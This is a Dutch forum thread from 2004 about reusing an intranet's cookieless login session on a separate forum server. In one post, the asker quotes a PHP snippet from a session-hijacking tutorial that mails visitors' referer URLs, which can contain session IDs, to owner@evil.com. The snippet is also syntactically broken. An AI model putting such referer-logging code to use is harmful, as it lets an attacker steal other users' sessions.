Ik log in op een intranet. Nu wil ik aan het intranet een forum koppelen, maar ik wil dan niet opnieuw inloggen. Het intranet gebruikt sessions, maar geen cookies. Hoe maak ik dit waar?
Als je in hetzelfde domein zit kan je evt de sessie-cookies van het intranet gebruiken om de sessies te identificeren, mits de sessie-cookies van het intranet goed gezet zijn kwa domein.
Als er alleen url-rewriting wordt uitgevoerd voor sessies zal een "externe url" niet zo gauw de sessieID's meekrijgen en zal je het niet waar kunnen maken...
Als er alleen url-rewriting wordt uitgevoerd voor sessies zal een "externe url" niet zo gauw de sessieID's meekrijgen en zal je het niet waar kunnen maken...
[ Voor 11% gewijzigd door ACM op 14-06-2004 10:24 ]
Nogmaals, we gebruiken geen cookies.
Nu had ik dit gevonden in een Hijack tutorial:
Is er zoiets mogelijk met link()? Zo ja, dan heb ik het iig verkeerd gedaan
Nu had ik dit gevonden in een Hijack tutorial:
code:
1
2
3
4
| <?php
if (isset($_SERVER['HTTP_REFERER']))
mail('owner@evil.com', 'referer logged', $_SERVER['HTTP_REFERER)
?> |
Is er zoiets mogelijk met link()? Zo ja, dan heb ik het iig verkeerd gedaan
Sessions zijn cookies in 99% van de implementaties, tenzij je GET-sessions gebruikt (lelijk!).
lol, get-sessions bestaan niet...! Je verwart nu 2 termen IMO.curry684 schreef op 14 juni 2004 @ 10:37:
Sessions zijn cookies in 99% van de implementaties, tenzij je GET-sessions gebruikt (lelijk!).
Maar goed, kzal wel ff kijken of ik de temp. cookies uit kan lezen. Verder : zou dat verhaal van HTTP_REFERER kunnen werken?
Hij bedoeld cookieless sessions. Standaard hebben sessions een cookie nodig, tenzij je via de querystring werkt.Verwijderd schreef op 14 juni 2004 @ 10:58:
[...]
lol, get-sessions bestaan niet...! Je verwart nu 2 termen IMO.
Maar goed, kzal wel ff kijken of ik de temp. sessions uit kan lezen. Verder : zou dat verhaal van HTTP_REFERER kunnen werken?
Digitaal onderwijsmateriaal, leermateriaal voor hbo
Ook via de GET-parameters kun je een sessie-ID doorgeven. Dat het ranzig lelijke URL's oplevert over je hele site gaf ik reeds aan, maar dat het kan is zeker.Verwijderd schreef op 14 juni 2004 @ 10:58:
[...]
lol, get-sessions bestaan niet...! Je verwart nu 2 termen IMO.
In ASP.NET heet het toevallig 'cookieless sessions', maar die naam is niet gestandaardiseerd of zogorgi_19 schreef op 14 juni 2004 @ 11:01:
[...]
Hij bedoeld cookieless sessions. Standaard hebben sessions een cookie nodig, tenzij je via de querystring werkt.
[ Voor 40% gewijzigd door curry684 op 14-06-2004 11:05 ]
Omdat we dan toch met termen aan het gooien zijn, zeg het dan meteen correct:gorgi_19 schreef op 14 juni 2004 @ 11:01:
[...]
Hij bedoeld cookieless sessions. Standaard hebben sessions een cookie nodig, tenzij je via de querystring werkt.
Om sessions te ondersteunen heb je of cookies nodig, en als dat niet ondersteunt wordt door de clientbrowser (cq uitgezet is) dan moet de server URL-rewriting ondersteunen.
Dat betekent dus dat de webserver ziet "hee deze request is door een client zonder cookies, ik moet de sessie id dus in de url versleutelen".
Hier hoeft klant nog programmeur dus iets voor te doen, dat gebeurt automatisch.
Wat TS echter wil is volgens mij cookie 'achtige' functionaliteit zoals tweakers.net dat ook doet: onthouden wie de gebruiker was/is zodat ie 'zonder inloggen' meteen weer door kan. Vraag eens aan de tweak crew hoe ze dat doen...
TS: wat is nou precies je probleem? Je geeft aan dat je 'inlogt op het intranet'. Je bent dus al ingelogt. Dan weet je toch al wie de user is binnen je serverside code dus gebruik je die user toch op dat forum van je? Snap niet waarom je nou 'sessions wilt overnemen' etc.
is het geen optie om voor je forum een redirect te maken die feitelijk alleen de sessie variabelen in een cookie smijt en je redirect naar het forum ? dat lijkt me de snelste oplossing , een andere oplossing zal zijn om gewoon een forum te maken / zoeken die gebruikt maakt van sessies
Kijk het werkt zo:
Ik log in op het intranet
Dan navigeer ik door het menu en klik op het item "forum".
Het forum heeft een eigen login en cookies/headers en al het gemeutel. Ga ik eruit slopen, want dan hoef ik niet in te loggen.
Het forum staat BTW op een andere server.
Ik log in op het intranet
Dan navigeer ik door het menu en klik op het item "forum".
Het forum heeft een eigen login en cookies/headers en al het gemeutel. Ga ik eruit slopen, want dan hoef ik niet in te loggen.
Het forum staat BTW op een andere server.
Als je nu eens uitlegt hoe het aan de achterkant werkt ipv op de voorkant. Op deze manier is natuurlijk helemaal niks duidelijk. Hoe zou het forum moeten weten wie er ingelogd is? Hoe kunnen wij je uitleggen hoe je een 1 op 1 mapping maakt voor sessies op het forum en het intranet als je niet aangeeft hoe bij beide de sessies werken?
Het lijkt er een beetje op dat je geen idee hebt waar je mee bezig bent. Je vergeet relevante informatie te vermelden, maar zit aan de andere kant mensen de les te lezen waarvan jij (onterecht) vermoed dat ze er niks van snappen.
Het lijkt er een beetje op dat je geen idee hebt waar je mee bezig bent. Je vergeet relevante informatie te vermelden, maar zit aan de andere kant mensen de les te lezen waarvan jij (onterecht) vermoed dat ze er niks van snappen.
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Hier is weinig aan uit te leggen toch?watzie schreef op 14 juni 2004 @ 11:09:
[...]
Wat TS echter wil is volgens mij cookie 'achtige' functionaliteit zoals tweakers.net dat ook doet: onthouden wie de gebruiker was/is zodat ie 'zonder inloggen' meteen weer door kan. Vraag eens aan de tweak crew hoe ze dat doen...
Je krijgt gewoon een cookie met een bepaalde expiration date, en daarin je ReactID dat bij terugkomst uniek je sessie identificeert in de Session-tabel in de database. Op het Logout scherm kun je exact zien hoeveel sessies er van jou bekend zijn.
Dan moet je ze "get_or_post_session" noemencurry684 schreef op 14 juni 2004 @ 11:04:
In ASP.NET heet het toevallig 'cookieless sessions', maar die naam is niet gestandaardiseerd of zoIk vind het persoonlijk nuttiger om aan te geven waar je het sessionId wel stopt dan waar niet
dan lijkt me de makelijkste manier dat je de sessie data zodra je naar het forum gaat in een cookie zet, zodat het forum denkt dat de user gewoon in ingeloged.Verwijderd schreef op 14 juni 2004 @ 11:25:
Kijk het werkt zo:
Ik log in op het intranet
Dan navigeer ik door het menu en klik op het item "forum".
Het forum heeft een eigen login en cookies/headers en al het gemeutel. Ga ik eruit slopen, want dan hoef ik niet in te loggen.
Het forum staat BTW op een andere server.
Je kan de login er wel gewoon uithalen, maar het forum zou toch moeten weten wie er is ingeloged, en om het hele forum op sessies te laten werken zul je een aardig gedeelte moeten herschrijven.
[ Voor 6% gewijzigd door eXcyle op 14-06-2004 12:21 . Reden: Typo's ]
POST is wel erg onhandig
Hoe log je in? En niet "door mijn username en password in te vullen", maar hoe werkt de huidige authenticatie backend?
Wat ik bedoel is dat "url rewriting" niet zo netjes is voor een post-form, in zo'n geval moet je eigenlijk de parameter als hidden input in het form verwerken en bij mijn weten doet iig PHP dat bij zijn "url rewriting"-routine.curry684 schreef op 14 juni 2004 @ 11:58:
POST is wel erg onhandigNot to mention onbruikbaar op non-form-based navigatie.
Pagina: 1